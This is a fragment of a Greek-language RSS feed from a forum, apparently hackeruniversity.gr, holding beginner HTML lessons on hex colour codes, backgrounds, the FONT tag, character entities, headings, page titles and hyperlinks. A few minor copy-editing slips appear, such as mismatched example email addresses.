		<description><![CDATA[Κάθε χρώμα το οποίο θα θελήσουμε να χρησιμοποιήσουμε, προέρχεται συνήθως από 2 πηγές: Είτε το έχουμε δημιουργήσει εμείς (με κάποιο πρόγραμμα γραφικών), είτε το έχουμε δει κάπου αλλού (π.χ. σε ένα άλλο site). Και στις 2 περιπτώσεις, αποθηκεύουμε το γραφικό που μας ενδιαφέρει, το ανοίγουμε με ένα σχεδιαστικό πρόγραμμα και βλέπουμε ποιο είναι το RGB του (η δυνατότητα αυτή υπάρχει σε όλα σχεδόν τα προγράμματα γραφικών).<br /><br />Το RGB αποτελείται από έναν αριθμό για το κόκκινο, έναν για το πράσινο και έναν για το μπλε χρώμα (ο συνδιασμός αυτών των τριών χρωμάτων σε διαφορετικές αναλογίες μας δίνει όλα τα χρώματα που εμφανίζονται στην οθόνη του Η/Υ μας). Οι τιμές των αριθμών αυτών εκτείνονται από το 0 έως το 255. Π.χ. το μαύρο είναι 0,0,0 και το λευκό είναι 255,255,255 Αφού μάθουμε το RGB, μετατρέπουμε την τιμή του σε δεκαεξαδικό κωδικό χρησιμοποιόντας ένα από τα διάφορα προγράμματα που υπάρχουν για το σκοπό αυτό (Agile ColorWeb , Crayon κ.α.) ή τον calculator των windows. <br /><br />Για να βρούμε τον δεκαεξαδικό κωδικό με τον calculator των windows ανοίγουμε το πρόγραμμα (αν δεν υπάρχει στα μενού ψάχνουμε για το αρχείο calc.exe και το εκτελούμε) και επιλέγουμε <b>View - Scientific </b><br /><br /> <br /><br />Αν υποθέσουμε πως θέλουμε μια απόχρωση του μουσταρδί με Red=246 Green=192 Blue=128 τότε γράφουμε 246 και αλλάζουμε την προβολή από δεκαδική - <b>Dec </b>- σε δεκαεξαδική - <b>Hex</b> - (κάνουμε κλικ στην επιλογή Hex). <br /><br /> <br /><br />Θα παρατηρήσετε πως μόλις κάνουμε κλικ στην επιλογή Hex το 246 μετατρέπεται αυτόματα σε F6 (αυτός είναι το δεκαεξαδικό ισοδύναμο του 246). Ακολουθούμε την ίδια διαδικασία με το 129 (C0 σε δεκαεξαδική μορφή) και το 128 (80 σε δεκαεξαδική μορφή) και συμπεραίνουμε πως ο δεκαεξαδικός κωδικός της απόχρωσης 246,192,128 είναι F6C080. Προσέξτε πως στον calculator το 0 (μηδέν) μοιάζει πάρα πολύ με το Ο (όμικρον κεφαλαίο). Υπάρχει λοιπόν ο κίνδυνος να γίνει λάθος κατά τη μεταγραφή τους. <br /><br />Αν δεν διαθέτε ένα από τα παραπάνω προγράμματα τότε, μέσα στο δίκτυο θα βρείτε αρκετές Web σελίδες οι οποίες σας επιτρέπουν να δώσετε τις RGB τιμές (RED, GREEN, BLUE) και να πάρετε τον δεκαεξαδικό κωδικό (HEX number) ή το αντίστροφο. &#65279;]]></description>
		<pubDate>Tue, 09 Jun 2009 01:34:17 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=865</guid>
	</item>
	<item>
		<title>Εισαγωγή μιας εικόνας σαν φόντο της σελίδας</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=864</link>
		<description><![CDATA[Αν θέλουμε το φόντο της σελίδας να μην είναι κάποιο χρώμα αλλά ένα γραφικό, χρησιμοποιούμε την παράμετρο BACKGROUND. Η σύνταξή της είναι: <br /><b>&lt;BODY BACKGROUND="όνομα αρχείου"&gt;...&lt;/BODY&gt; </b><br /><br />"όνομα αρχείου" είναι φυσικά το όνομα (ή/και το path) του αρχείου εικόνας που θέλουμε να βάλουμε σαν φόντο στην σελίδα. Τα αρχείο εικόνας που θα χρησιμοποιήσουμε σαν φόντο, περιλαμβάνουν συνήθως κάποιο γραφικό ή γραφικά που (αν η εικόνα έχει μέγεθος μικρότερο από αυτό της σελίδας) επαναλαμβάνονται (tiled) καθ' ύψος και πλάτος μέχρι να καλύψουν ολόκληρο το φόντο. <br /><br />Σε ορισμένες περιπτώσεις το αρχείου του φόντου μπορεί να αποτελείται και από ένα μόνο χρώμα (αν θέλουμε μονόχρωμο φόντο). Στην περίπτωση αυτή, το αρχείο είναι σκόπιμο να έχει όσο το δυνατόν μικρότερο μέγεθος (κατά προτίμηση ένα μόνο pixel). Το pixel αυτό θα εκταθεί για να καταλάβει ολόκληρο το φόντο. <br /><br /><b>Σημείωση: Μερικοί πολύ παλαιοί browsers δεν υποστηρίζουν την background. &#65279;</b>]]></description>
		<pubDate>Tue, 09 Jun 2009 01:33:27 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=864</guid>
	</item>
	<item>
		<title><![CDATA[Ορισμός γραμματοσειρών &lt;FONT&gt; ... &lt;/FONT&gt;]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=863</link>
		<description><![CDATA[Η <b>&lt;FONT&gt; </b>καθορίζει ρυθμίσεις σχετικές με τις γραμματοσειρές. Τέτοιες είναι:<br /><u>&lt;FONT SIZE=x&gt;...&lt;/FONT&gt; </u><br /><br />Καθορίζει το μέγεθος των γραμμάτων. Σε παλαιότερους browsers, το x μπορεί να πάρει τιμές από 1 (η μικρότερη) μέχρι 7 (η μεγαλύτερη). Default x=3. Η &lt;FONT&gt; μπορεί να πάρει και σχετικές τιμές (από -3 έως +4) που καθορίζουν το μέγεθός της σε σχέση με την default γραμματοσειρά που έχει οριστεί στον browser. Σε νεότερους browsers, το x μπορεί να πάρει και μεγαλύτερες τιμές.<br /><br /><u>&lt;FONT COLOR=x&gt;...&lt;/FONT&gt; </u><br /><br />Αν το επιθυμούμε, υπάρχει και η δυνατότητα να δώσουμε ξεχωριστά χρώματα σε μεμονωμένες λέξεις, φράσεις ή και χαρακτήρες. Αυτό γίνεται με την οδηγία FONT.<br /><br />Π.χ. <b>&lt;FONT COLOR=YELLOW&gt;κείμενο σε κίτρινο χρώμα&lt;/FONT&gt;</b><br /><br />Δυστυχώς τα χρώματα που ορίζονται με το όνομά τους (π.χ. color=aqua για το ανοιχτό γαλάζιο) είναι σχετικά λίγα. Για να χρησιμοποιήσουμε όλες τις δυνατές αποχρώσεις θα πρέπει να γνωρίζουμε το RGB του χρώματος που θέλουμε να χρησιμοποιήσουμε (όλα τα χρώματα στον Η/Υ απεικονίζονται ως ένας συνδυασμός των Red Green Blue). <br /><br />Για να το βρούμε αυτό αρκεί να διαθέτουμε ένα πρόγραμμα γραφικών. Για παράδειγμα, ανοίγουμε το Paint των Windows 98 και επιλέγουμε Colors - Edit Colors - Define Custom Colors. Στο δεξιό μέρος του παραθύρου που βρίσκεται μπροστά μας υπάρχει μια μπάρα και αριστερά της ένα μεγάλο τετράγωνο με διάφορα χρώματα. <br /><br /><br /><br />Κάντε κλικ μέσα στο μεγάλο τετράγωνο με τα πολλά χρώματα στο σημείο που υπάρχει χρώμα της αρεσκείας σας. Το χρώμα εμφανίζεται κάτω δεξιά από το μεγάλο τετράγωγο. Μετακινόντας το δείκτη της μπάρας που βρίσκεται δεξιά από το μεγάλο τετράγωγο σε κάποιο άλλο σημείο εκτός από το τέρμα κάτω (το default) ορίζουμε τη φωτεινότητα αυτού του χρώματος. <br /><br />Στο κάτω δεξιά μέρος του παραθύρου αναγράφονται οι τιμές R (Red) G (Green) και B (Blue) του χρώματος που διαλέξατε. Τώρα που τις έχετε, το μόνο που σας μένει είναι να βρείτε τον δεκαεξαδικό κωδικό του χρώματος διότι αυτός πρέπει να οριστεί μέσα στον HTML κώδικα. <br /><br />Για παράδειγμα: Το RGB 62,199,41 του παραπάνω παραδείγματος είναι το 3ec729 σε δεκαεξαδικό κωδικό και το χρώμα που μας δίνει είναι το: &lt;FONT COLOR=3ec729&gt;ανοικτό πράσινο&lt;/FONT&gt; <br /><br /><b>&lt;FONT FACE="x"&gt;...&lt;/FONT&gt;</b><br /><br />Καθορίζει το την γραμματοσειρά. Καλό είναι να χρησιμοποιείται με φειδώ διότι αν η γραμματοσειρά δεν υπάρχει στον Η/Υ του αναγνώστη των σελίδων μπορεί να υπάρξουν προβλήματα (π.χ. να μην φαίνονται τα κείμενα με Ελληνικούς χαρακτήρες).<br /><br />Π.χ. <b>&lt;FONT FACE="Times New Roman"&gt;...&lt;/FONT&gt; </b><br /><br />ΠΡΟΣΟΧΗ: Καλύτερα να αποφεύγεται η υπερβολική χρήση της &lt;FONT&gt; (ορισμός πολλών γραμματοσειρών ή/και πολλών χρωμάτων γραμμάτων στο ίδιο κείμενο) διότι δίνει πολύ άσχημη εικόνα.]]></description>
		<pubDate>Tue, 09 Jun 2009 01:32:42 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=863</guid>
	</item>
	<item>
		<title>Ειδικοί Χαρακτήρες και Χαρακτήρες με Ειδικές Λειτουργίες</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=862</link>
		<description><![CDATA[<b>ΕΙΔΙΚΟΙ ΧΑΡΑΚΤΗΡΕΣ</b><br />Υπάρχουν ειδικοί χαρακτήρες που δεν μπορούν να απεικονισθούν με απλές πληκτρολογήσεις (πατώντας ένα πλήκτρο ή ένα πλήκτρο και το Shift) αλλά μόνο με πιο περίπλοκους τρόπους (π.χ. πατώντας το Alt και έναν αριθμό). Πρόκειται για χαρακτήρες που δεν ανήκουν στο κλασικό 7-bit ASCII character set αλλά στο επεκταμένο 8-bit ASCII. Οι περισσότεροι browsers αναγνωρίζουν αυτούς τους ISO-Latin-1 (ISO-8859-1) χαρακτήρες αλλά με ειδικό τρόπο. Για να αναγνωρίσουν τους χαρακτήρες αυτούς οι browsers όσων βλέπουν τις σελίδες μας (ο browser του δικού μας Η/Υ δεν θα έχει πρόβλημα) θα πρέπει να γραφούν με ειδικό τρόπο (με έναν κωδικό που αρχίζει με το & και τελειώνει με το <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/wink.gif" style="vertical-align:middle" emoid=";)" border="0" alt="wink.gif" />. Π.χ. το copyright © είναι &#169; ενώ το &#174; γράφεται σαν &#174;<br /><br />Στην κατηγορία των ειδικών χαρακτήρων συμπεριλαμβάνονται και οι χαρακτήρες άλλων γλωσσών. Αν στο PC μας γράψουμε μια HTML σελίδα στα Γερμανικά και τοποθετήσουμε αυτή τη σελίδα στο Internet θα μπορούν να τη διαβάσουν σίγουρα μόνο όσοι έχουν εγκατεστημένο γερμανικό πληκτρολόγιο ή όσοι browsers υποστηρίζουν Unicode. Αν όμως εμείς (οι δημιουργοί της σελίδας) δεν έχουμε εγκατεστημένο γερμανικό πληκτρολόγιο, αλλά πρέπει απλώς να γράψουμε ένα όνομα ή λίγες λέξεις τις οποίες θα διαβάσουν χρήστες χωρίς γερμανικό πληκτρολόγιο ή Unicode, θα πρέπει να χρησιμοποιήσουμε το ISO-Latin ισοδύναμο αυτών των χαρακτήρων. Έτσι ο Δανός φιλόσοφος S&#248;ren Kierkegaard θα πρέπει να γραφτεί ως S&oslash;ren Kierkegaard. Πίνακες με όλους τους ειδικούς χαρακτήρες και τα ISO-Latin ισοδύναμά τους υπάρχουν σε διάφορα σημεία του Internet. <br /><br /><b>ΧΑΡΑΚΤΗΡΕΣ ΜΕ ΕΙΔΙΚΕΣ ΛΕΙΤΟΥΡΓΙΕΣ</b><br /><br />Ας υποθέσουμε πως θέλετε να βάλετε μέσα σε μια οδηγία (tag) τον χαρακτήρα &lt; ή &gt; θα δείτε πως θα υπάρξει πρόβλημα. Πχ. την εντολή &lt;B&gt;15&lt;7&lt;/B&gt; το Netscape 3 την αναγνωρίζει κανονικά ενώ ο Internet Explorer 2 βλέπει μόνο το 15 και ότι άλλο κείμενο υπάρχει πέρα από αυτό σαν bold (δηλαδή διαβάζει το &lt;7&lt;/Β&gt; σαν μια οδηγία που δεν καταλαβαίνει και την προσπερνά χωρίς να την εμφανίζει ή να την ερμηνεύει).<br /><br />Για τον λόγο αυτό οι ειδικοί χαρακτήρες που περιέχονται στις οδηγίες (tags) όταν θέλουμε να τα δούμε μέσα σε μια σελίδα σαν απλοί χαρακτήρες, πρέπει να απεικονιστούν ως εξής:<br /><br /><br /><br /><br />Χαρακτήρας	Συμβολισμός<br />&lt;	&lt;<br />&gt;	&gt;<br />&	&amp;<br />"	"]]></description>
		<pubDate>Tue, 09 Jun 2009 01:31:23 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=862</guid>
	</item>
	<item>
		<title>Επικεφαλίδες (Headings)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=860</link>
		<description><![CDATA[Η οδηγία επικεφαλίδας καθορίζει το μέγεθος των γραμμάτων της επικεφαλίδας και ισχύει ανεξάρτητα από την γραμματοσειρά που χρησιμοποιεί ο browser για να διαβάζει την σελίδα.<br /><br />Η μεγαλύτερη σε μέγεθος επικεφαλίδα είναι η &lt;H1&gt;, ακολουθούμενη από τις &lt;H2&gt;...&lt;H6&gt;. <br /><br />Παραδείγματα: <br /><!--sizeo:7--><span style="font-size:36pt;line-height:100%"><!--/sizeo-->Αυτή είναι η μεγαλύτερη επικεφαλίδα<!--sizec--></span><!--/sizec--><br /><!--sizeo:6--><span style="font-size:24pt;line-height:100%"><!--/sizeo-->Αυτή είναι η δεύτερη μεγαλύτερη επικεφαλίδα<!--sizec--></span><!--/sizec--><br /><br /><b>&lt;H1&gt;Αυτή είναι η μεγαλύτερη επικεφαλίδα&lt;/H1&gt;</b><br /><br /><b>&lt;H2&gt;Αυτή είναι η δεύτερη μεγαλύτερη επικεφαλίδα&lt;/H2&gt;</b><br /><br />Μια επικεφαλίδα αφήνει αυτόματα την επόμενη γραμμή από αυτήν κενή. Έτσι υπάρχει πάντα μια γραμμή απόσταση μεταξύ της επικεφαλίδας και του κειμένου που την ακολουθεί.<br /><br />Παράδειγμα:<br /><br /><b><u>Ο κώδικας:</u></b><br />&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;Το μέλλον της Τηλεεργασίας&lt;/TITLE&gt;&lt;/HEAD&gt;&lt;BODY&gt;<br /><br />&lt;H2&gt; Το μέλλον της Τηλεεργασίας &lt;/H2&gt;Ωστόσο, στην συγκεκριμένη περίπτωση, η αυξανόμενη δημοτικότητα της τηλεεργασίας, φαίνεται πως θα επιβεβαιώσει σε μεγάλο βαθμό αυτές τις προβλέψεις.&lt;/BODY&gt;&lt;/HTML&gt;<br /><br /><u><b><br />Η εμφάνιση</b></u>:<br /><!--sizeo:6--><span style="font-size:24pt;line-height:100%"><!--/sizeo-->Το μέλλον της Τηλεεργασίας <!--sizec--></span><!--/sizec--><br /><br />Ωστόσο, στην συγκεκριμένη περίπτωση, η αυξανόμενη δημοτικότητα της τηλεεργασίας, φαίνεται πως θα επιβεβαιώσει σε μεγάλο βαθμό αυτές τις προβλέψεις.<br /><br /><br />Βλέπετε πως δεν χρειάστηκε &lt;P&gt; μεταξύ της επικεφαλίδας και κειμένου. Η οδηγία &lt;H&gt; φρόντισε να αφήσει την απαραίτητη απόσταση.]]></description>
		<pubDate>Tue, 09 Jun 2009 01:28:10 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=860</guid>
	</item>
	<item>
		<title>Τίτλος σελίδας</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=859</link>
		<description><![CDATA[<b><u>&lt;TITLE&gt;...&lt;/TITLE&gt;</u></b><br /><br /><br /><br /><br />Κάθε Web σελίδα πρέπει να έχει τον δικό της τίτλο. Ο τίτλος (που καλό είναι να μην ξεπερνά τις 10 λέξεις) εμφανίζεται στην κορυφή του παραθύρου του browser και πρέπει πάντοτε να υπάρχει αν και δεν είναι τεχνικά απαραίτητος. Κύρια εργασία του είναι η σωστή ταξινόμηση της σελίδας (επηρεάζει την θέση της σελίδας στα εργαλεία αναζήτησης, δίνει τον τίτλο του bookmark κα.). Γι' αυτό προσπαθούμε ο τίτλος να περιγράφει όσο καλύτερα γίνεται το περιεχόμενο της σελίδας. <br /><br />Ο τίτλος βρίσκεται μέσα στην οδηγία &lt;HEAD&gt;. Η χρησιμότητα της &lt;HEAD&gt; θα παρουσιαστεί σε επόμενα μαθήματα.<br /><br />Η γενική σύνταξη των HEAD και TITLE είναι:<br /><br /><b>&lt;HEAD&gt;&lt;TITLE&gt;Το πρώτο μου κείμενο σε HTML&lt;/TITLE&gt;&lt;/HEAD&gt;</b><br /><br /><b>Παράδειγμα:</b><br />&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;Το μέλλον της Τηλεεργασίας&lt;/TITLE&gt;&lt;/HEAD&gt; &lt;P&gt;Το 1980 ο γνωστός μελλοντολόγος Alvin Toffler οραματίστηκε στο βιβλίο του Το Τρίτο Κύμα, έναν κόσμο με μισοάδειες πόλεις.&lt;P&gt;Συνήθως δεν πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις μια και οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.&lt;P&gt;Ωστόσο, στην συγκεκριμένη περίπτωση, η αυξανόμενη δημοτικότητα της τηλεεργασίας, φαίνεται πως θα επιβεβαιώσει σε μεγάλο βαθμό αυτές τις προβλέψεις.&lt;/HTML&gt;<br /><br /><br /><b>Θα εμφανιστεί ως:</b><br />Το 1980 ο γνωστός μελλοντολόγος Alvin Toffler οραματίστηκε στο βιβλίο του "Το Τρίτο Κύμα", έναν κόσμο με μισοάδειες πόλεις.<br /><br />Συνήθως δεν πρέπει να δίνουμε μεγάλη σημασία σε τέτοιες προβλέψεις μια και οι σύγχρονοι προφήτες (έστω και αν έχουν αποκτήσει το πιο επιστημονικό όνομα του μελλοντολόγου) σπάνια αποδεικνύονται καλύτεροι από τους προκατόχους τους.<br /><br />Ωστόσο, στην συγκεκριμένη περίπτωση, η αυξανόμενη δημοτικότητα της τηλεεργασίας, φαίνεται πως θα επιβεβαιώσει σε μεγάλο βαθμό αυτές τις προβλέψεις.<br /><br /><br />Βλέπουμε πως η φράση "Το μέλλον της Τηλεεργασίας" δεν εμφανίζεται πουθενά στην σελίδα. Θα την δούμε όμως στην κορυφή του παραθύρου του Browser.]]></description>
		<pubDate>Tue, 09 Jun 2009 01:25:36 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=859</guid>
	</item>
	<item>
		<title>Παραπομπές (Links)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=858</link>
		<description><![CDATA[<b><u>Εισαγωγή:</u></b><br />Οι παραπομπές είναι οι ψυχή του Web. Με αυτές μπορούμε να συνδέσουμε 2 σελίδες έτσι ώστε κάνοντας κλικ σε κείμενο (ή εικόνα) της μιας να μεταφερόμαστε στην άλλη. Η γενική σύνταξη μια παραπομπής είναι: <br /><br />&lt;A HREF="URL"&gt;το κείμενο της παραπομπής&lt;/A&gt; <br /><br />όπου URL είναι η θέση κάποιας Web σελίδας (η παράμετρος HREF προέρχεται από τις λέξεις Hypertext REFerence).<br />Περίπτωση 1<br /><br />Παραπομπές από μια σελίδα σε μια άλλη κάπου στο Internet<br /><br />Ο κώδικας θα είναι:<br />Το &lt;A HREF="http://www.yahoo.com"&gt;Yahoo!&lt;/A&gt; είναι το πιο δημοφιλές εργαλείο αναζήτησης.<br /><br /><br /><br />Με κλικ πάνω στην λέξη Yahoo! ο browser θα καλεί την σελίδα <a href="http://www.yahoo.com" target="_blank">http://www.yahoo.com</a><br /><br /><br /><br /><br /><b><u>Περίπτωση 2</u></b><br /><br />Παραπομπές από μια σελίδα σε μια άλλη που βρίσκεται στον ίδιο φάκελο (directory)<br /><br />Αν η σελίδα στην οποία παραπέμπουμε είναι στο ίδιο directory (folder) με αυτή η οποία έχει την παραπομπή, ο κώδικας θα είναι: &lt;A HREF="όνομα αρχείου"&gt;κείμενο παραπομπής&lt;/A&gt;<br /><br />Για παραπομπή στο αρχείο mypage2.htm ο κώδικας θα είναι:<br />Κάντε κλικ &lt;A HREF="mypage2.htm"&gt;εδώ&lt;/A&gt; για να πάτε στην άλλη σελίδα.<br /><br /><br /><br />Με κλικ πάνω στην λέξη εδώ ο browser θα καλεί την σελίδα με όνομα αρχείου mypage.htm<br /><br /><br /><br /><br /><u><b>Περίπτωση 3</b></u><br /><br />Παραπομπές από μια σελίδα σε μια άλλη που βρίσκεται σε υποφάκελο (subdirectory)<br /><br />Η γενική σύνταξη είναι: &lt;a href="/υποφάκελος/mypage2.htm"&gt;υπογραμμισμένο κείμενο&lt;/a&gt;<br /><br />Παράδειγμα:<br /><br />Υποθέτουμε πως η αρχική μας σελίδα έχει όνομα mypage1.htm και βρίσκεται στην θέση c:&#092;wwwroot&#092;mypages&#092;dance&#092;tango<br /><br />Μια δεύτερη σελίδα έχει όνομα mypage2.htm και βρίσκεται στην θέση c:&#092;wwwroot&#092;mypages&#092;dance&#092;tango&#092;argentine<br /><br />Η παραπομπή από την mypage1.htm στην mypage2.htm θα είναι<br /><br />&lt;a href="/argentine/mypage2.htm"&gt;υπογραμμισμένο κείμενο&lt;/a&gt;<br /><br />Προσοχή! Σε μερικούς unix web servers η σύνταξη πρέπει να είναι &lt;a href="./argentine/mypage2.htm"&gt;υπογραμμισμένο κείμενο&lt;/a&gt; Υπάρχει δηλαδή μια τελεία πριν το path.<br /><br />Αν η mypage2.htm βρίσκεται στην θέση<br /><br />c:&#092;wwwroot&#092;mypages&#092;dance&#092;tango&#092;argentine&#092;evita<br /><br />Η παραπομπή από την mypage1.htm στην mypage2.htm θα είναι<br /><br />&lt;a href="/argentine/evita/mypage2.htm"&gt;υπογραμμισμένο κείμενο&lt;/a&gt;<br /><br /><br /><br /><br /><u><b>Περίπτωση 4</b></u><br /><br />Παραπομπές από μια σελίδα σε μια άλλη που βρίσκεται σε ανώτερο φάκελο (directory)<br /><br />Η γενική σύνταξη είναι: &lt;a href="&#46;&#46;/mypage2.htm"&gt;υπογραμμισμένο κείμενο&lt;/a&gt;<br /><br />(Δεν υπάρχει λόγος να βάλουμε το όνομα του ανώτερου φακέλου διότι κάθε φάκελος έχει μόνον έναν αμέσως ανώτερο. Γι' αυτό αρκούν οι δύο τελείες).<br /><br /><b>Παράδειγμα:</b><br /><br />Υποθέτουμε πως η αρχική μας σελίδα έχει όνομα mypage2.htm και βρίσκεται στην θέση <br /><br /><b>c:&#092;wwwroot&#092;mypages&#092;dance&#092;tango&#092;argentine</b><br /><br />Μια δεύτερη σελίδα έχει όνομα mypage1.htm και βρίσκεται στην θέση <br /><br /><b>c:&#092;wwwroot&#092;mypages&#092;dance&#092;tango</b><br /><br />Η παραπομπή από την mypage2.htm στην mypage1.htm θα είναι<br /><br /><b>&lt;a href="&#46;&#46;/mypage1.htm"&gt;υπογραμμισμένο κείμενο&lt;/a&gt;</b><br /><br />Αν η mypage2.htm βρίσκεται στην θέση<br /><br /><b>c:&#092;wwwroot&#092;mypages&#092;dance&#092;tango&#092;argentine&#092;evita</b><br /><br />Η παραπομπή από την mypage2.htm στην mypage1.htm θα είναι<br /><br /><b>&lt;a href="&#46;&#46;/&#46;&#46;/mypage1.htm"&gt;υπογραμμισμένο κείμενο&lt;/a&gt;</b><br /><br /><br /><br /><br /><b><u>Περίπτωση 5</u></b><br /><br />Παραπομπές από μια σελίδα σε μια άλλη που βρίσκεται σε άλλο (γενικά) φάκελο (directory)<br /><br />Η σύνταξη της παραπομπής αυτής είναι ένας συνδυασμός των άλλων βημάτων 3 και 4. Για παράδειγμα έστω πως έχουμε τις σελίδες:<br /><br /><b>mypage1.htm στην διεύθυνση c:&#092;wwwroot&#092;mypages&#092;dance&#092;tango&#092;argentine&#092;evita</b><br /><br /><b>mypage2.htm στην διεύθυνση c:&#092;wwwroot&#092;mypages&#092;dance&#092;mambo&#092;cuba&#092;</b><br /><br />Η παραπομπή από την mypage1.htm στην mypage2.htm θα είναι:<br /><b><br />&lt;A HREF="&#46;&#46;/&#46;&#46;/mambo/cuba/mypage2.htm"&gt; υπογραμμισμένο κείμενο&lt;/a&gt;</b><br /><br />Η παραπομπή αυτή σημαίνει: Από τον τρέχοντα φάκελο (evita) ανέβα στον ανώτερο (&#46;&#46;/ δηλαδή τον argentine). Μετά ανέβα στον αμέσως ανώτερο (&#46;&#46;/ δηλαδή τον tango). Από εκεί θα πας στον mambo. Από αυτόν θα πας στον cuba όπου θα βρεις το αρχείο mypage2.htm<br /><br />Σημείωση: Στα βήματα 2, 3, 4, 5 χρησιμοποιούμε relative links. Δηλαδή οι παραπομπές δεν γίνονται με το απόλυτο path: από το c:&#092;wwwroot&#092;mypages&#092;dance&#092;tango στο <br /><br />c:&#092;wwwroot&#092;mypages&#092;dance&#092;tango&#092;argentine&#092;evita Γίνονται με το σχετικό: από τον τρέχοντα φάκελο (που είναι ο tango) στον αμέσως ανώτερό του (που είναι ο argentine). Ο τόπος αυτός είναι ο ενδεδειγμένος διότι μας επιτρέπει χωρίς πρόβλημα να μεταφέρουμε ολόκληρο το site από μηχάνημα σε μηχάνημα (ή από φάκελο σε φάκελο) χωρίς να χρειαστεί καμία απολύτως μεταβολή.<br /><br />Προσοχή! Οι σχετικές παραπομπές δεν λειτουργούν για το πρωτόκολλο file (ο browser προσπαθεί να βρει το αρχείο στον δικό του δίσκο και όχι στον δίσκο του κόμβου από τον οποίο πήρε αυτή την διεύθυνση.<br /><br /><br /><br /><br /><b><u>Περίπτωση 6</u></b><br /><br />Παραπομπές από ένα σημείο μιας σελίδας σε ένα άλλο<br /><br />Πολλές φορές χρειάζεται να παραπέμψουμε τον αναγνώστη όχι σε άλλη σελίδα αλλά σε άλλο τμήμα της ίδιας Web σελίδας. Για να το επιτύχουμε αυτό, χρησιμοποιούμε την παράμετρο NAME για να δώσουμε όνομα στο σημείο στο οποίο θέλουμε να οδηγεί η παραπομπή. <br /><br />Όνομα (identifier) μπορούμε να δώσουμε είτε σε μια μεμονωμένη λέξη είτε σε ολόκληρο κείμενο. Για παράδειγμα παίρνουμε τις λέξεις: "Η σχέση Internet και Επιχειρήσεων" και τους δίνουμε το όνομα ΧΧΧ. Αυτό γίνεται με την οδηγία &lt;a name="ΧΧΧ"&gt;Η σχέση Internet και Επιχειρήσεων&lt;/a&gt;<br /><br />Η παραπομπή στο σημείο της σελίδας που έχει αυτό το όνομα θα είναι:<br /><br /><b>&lt;a href="#ΧΧΧ"&gt;το κείμενο της παραπομπής&lt;/a&gt;</b><br /><br /><br /><br /><br /><b><u>Περίπτωση 7</u></b><br /><br />Παραπομπές από μια σελίδα σε ένα σημείο μιας άλλης σελίδας<br /><br />Πολλές φορές χρειάζεται να παραπέμψουμε τον αναγνώστη όχι στην κορυφή μιας άλλης σελίδας αλλά σε ένα συγκεκριμένο σημείο της. Για να το επιτύχουμε αυτό, χρησιμοποιούμε, όπως και στην περίπτωση 6, την παράμετρο NAME για να δώσουμε όνομα στο σημείο στο οποίο θέλουμε να οδηγεί η παραπομπή. <br /><br />Όπως και παραπάνω (περίπτωση 6) το όνομα (identifier) μπορεί να είναι μια μεμονωμένη λέξη ή ένα ολόκληρο κείμενο. Για παράδειγμα παίρνουμε τις λέξεις: "Η σχέση Internet και Επιχειρήσεων" και τους δίνουμε το όνομα ΧΧΧ. Αυτό γίνεται με την οδηγία &lt;a name="ΧΧΧ"&gt;Η σχέση Internet και Επιχειρήσεων&lt;/a&gt;<br /><br />Η παραπομπή στο σημείο της σελίδας που έχει αυτό το όνομα θα είναι:<br /><br /><b>&lt;a href="path#ΧΧΧ"&gt;το κείμενο της παραπομπής&lt;/a&gt;</b><br /><br />Όπου path είναι η διαδρομή που πρέπει να ακολουθήσει ο browser για να βρει αυτή τη σελίδα. Για παράδειγμα: <br /><br /><b>&lt;a href="http://www.eeei.gr/oghgos/info.htm#ΧΧΧ"&gt;το κείμενο της παραπομπής&lt;/a&gt;<br />Περίπτωση 8</b><br /><br /><br /><br /><b><u>Παραπομπές για την αποστολή email (mailto: URL)</u></b><br /><br />Για να δημιουργήσουμε μια παραπομπή η οποία θα ανοίγει στο PC του επισκέπτη της σελίδας μας ένα παράθυρο σύνταξης email με παραλήπτη τη διεύθυνση που επιθυμούμε, θα πρέπει να χρησιμοποιήσουμε το mailto: URL στην ακόλουθη σύνταξη: <br /><br /><b>&lt;A HREF="mailto:admin@hackeruniversity.gr"&gt;Γράψτε μας&lt;/A&gt; </b><br /><br />Αν ο χρήστης επιλέξει Γράψτε μας τότε το mail πρόγραμμα που χρησιμοποιεί θα ανοίξει ένα κενό παράθυρο αποστολής email με τη διεύθυνση gepiti@gepiti.com ως παραλήπτη. <br /><br />Αν θέλουμε το παράθυρο αποστολής να έχει ήδη γραμμένο και το θέμα (subject) του mail αυτού, η σύνταξη που θα χρησιμοποιήσουμε είναι: <br /><br /><b>&lt;a href="mailto:admin@hackeruniversity?subject=Hey Admin"&gt;Γράψτε στον Admin&lt;/a&gt; </b><br /><br />Αν κάποιος επιλέξει την παραπομπή Γράψτε στον gepiti θα ανοίξει το ακόλουθο παράθυρο αποστολής με παραλήπτη τον gepiti@gepiti.com και θέμα Geia sou gepiti. <br /><br /> <br /><br />Δυστυχώς το mailto: URL δεν λειτουργεί σε κάποιους πολύ παλαιούς browsers ή αν ο χρήστης δεν έχει εγκατεστημένο ή σωστά ρυθμισμένο κάποιο πρόγραμμα ηλεκτρονικού ταχυδρομείου. Γι' αυτό συνήθως όταν χρησιμοποιούμε το mailto: URL τοποθετούμε ως link τη διεύθυνση του παραλήπτη (π.χ. &lt;A HREF="mailto:admin@hackeruniversity.gr"&gt;admin@hackeruniversity.gr&lt;/A&gt;). Έτσι, ακόμη και όταν βλέπουν την παραπομπή από browser που δεν υποστηρίζει το mailto: θα βλέπουν τη διεύθυνση στην οποία μπορούν να μας γράψουν. &#65279;]]></description>
